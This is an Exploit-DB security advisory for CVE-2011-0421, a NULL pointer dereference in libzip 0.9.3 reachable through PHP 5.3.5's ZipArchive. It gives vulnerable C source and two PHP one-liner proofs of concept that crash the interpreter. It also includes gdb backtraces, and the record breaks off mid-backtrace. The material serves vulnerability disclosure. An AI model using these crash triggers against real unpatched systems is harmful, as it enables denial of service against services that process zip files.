Exploit-DB #17004
Description: PHP 5.3.5 libzip 0.9.3 - _zip_name_locate Null Pointer Dereference
Type: dos
Platform: linux
Date: 2011-03-18
Author: Maksymilian Arciemowicz

Exploit:
Source: http://securityreason.com/securityalert/8146

libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 03.01.2011
- Pub.: 18.03.2011

CVE: CVE-2011-0421
CERT: VU#325039

Affected Software:
- libzip 0.9.3
- PHP 5.3.5 (fixed 5.3.6)

Original URL:
http://securityreason.com/achievement_securityalert/96


--- 0.Description ---
libzip is a C library for reading, creating, and modifying zip archives.
Files can be added from data buffers, files, or compressed data copied
directly from other zip archives. Changes made without closing the archive
can be reverted. The API is documented by man pages.


--- 1.Description ---
libzip allows remote and local attackers to Denial of Service (Null Pointer
Dereference) if ZIP_FL_UNCHANGED flag is set.

-lib/zip_name_locate.c---
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=
CRASH HERE
-lib/zip_name_locate.c---

for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash.
Currently for PHP, the security impact we estimate only like a remote DoS,
so risk is low. 

Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame,
fuse-zip, php zip extension, Endeavour2, FreeDink

Better analysis based on PHP code ZipArchive, bellow


--- 2. PHP 5.3.5 ZipArchive() ---
PoC1:
php -r '$nx=new
ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCH
ANGED);'

PoC2:
php -r '$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHAN
GED);'

Let's
-php_zip.c-------------------------------------
...
static ZIPARCHIVE_METHOD(locateName)
{
...
ZIP_FROM_OBJECT(intern, this);

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l",
&name, &name_len, &flags) == FAILURE) {
return;
}
...
idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH
IN THIS FUNCTION
...
-php_zip.c-------------------------------------

and let`s see

-zip_name_locate.c-------------------------------------
ZIP_EXTERN(int)
zip_name_locate(struct zip *za, const char *fname, int flags)
{
return _zip_name_locate(za, fname, flags, &za->error);
}


int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <===
CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED
for (i=0; i<n; i++) {
...
-zip_name_locate.c-------------------------------------

(gdb) bt
#0 0x[PII_REDACTED]6407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70
"a", flags=32767, 
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x[PII_REDACTED]6381e6 in c_ziparchive_locateName (ht=2,
return_value=0x1169418, return_value_ptr=0xffffffff, 
this_ptr=0x118d530, return_value_used=-176126592) at
/build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877
#2 0x[PII_REDACTED]6e986a in zend_do_fcall_common_helper_SPEC
(execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
#3 0x[PII_REDACTED]6c0b00 in execute (op_array=0x1168568) at
/build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107
...

Program received signal SIGSEGV, Segmentation fault.
0x[PII_REDACTED]6407cc in _zip_name_locate (za=0x118d520, fname=0x1169400
"[PII_REDACTED]854775808", flags=32767, 
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry :
za->nentry;
(gdb) print za->cdir->nentry
Cannot access memory at address 0x8
(gdb) print za->nentry
$21 = 0

because 

(gdb) x/i $rip
=> 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax
(gdb) x/i $rax
0x0: Cannot access memory at address 0x0
(gdb) x/i $eax

call to zip_name_locate

(gdb) n
1877 idx = (long)zip_name_locate(intern, (const char *)name,
flags);
(gdb) print intern
$24 = (struct zip *) 0x118d580
(gdb) x/x intern
0x118d580: 0x0118d220
(gdb) x/40x intern
0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000
0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000
0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000
0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000


next PoC2

$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("[PII_REDACTED]854775808","92[PII_REDACTED]4775807");
rogram received signal SIGSEGV, Segmentation fault.
0x[PII_REDACTED]6407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0
"[PII_REDACTED]854775808", flags=32767, 
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c
(gdb) bt
#0 0x[PII_REDACTED]6407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0
"[PII_REDACTED]854775808", flags=32767, 
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x[PII_REDACTED]640a50 in zip_stat (za=0x118d520, fname=0x11693f0
"[PII_REDACTED]854775808", flags=-1, 
st=0x7fffffffda70) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45
#2 0x[PII_REDACTED]638451 in c_ziparchive_statName (ht=2,
return_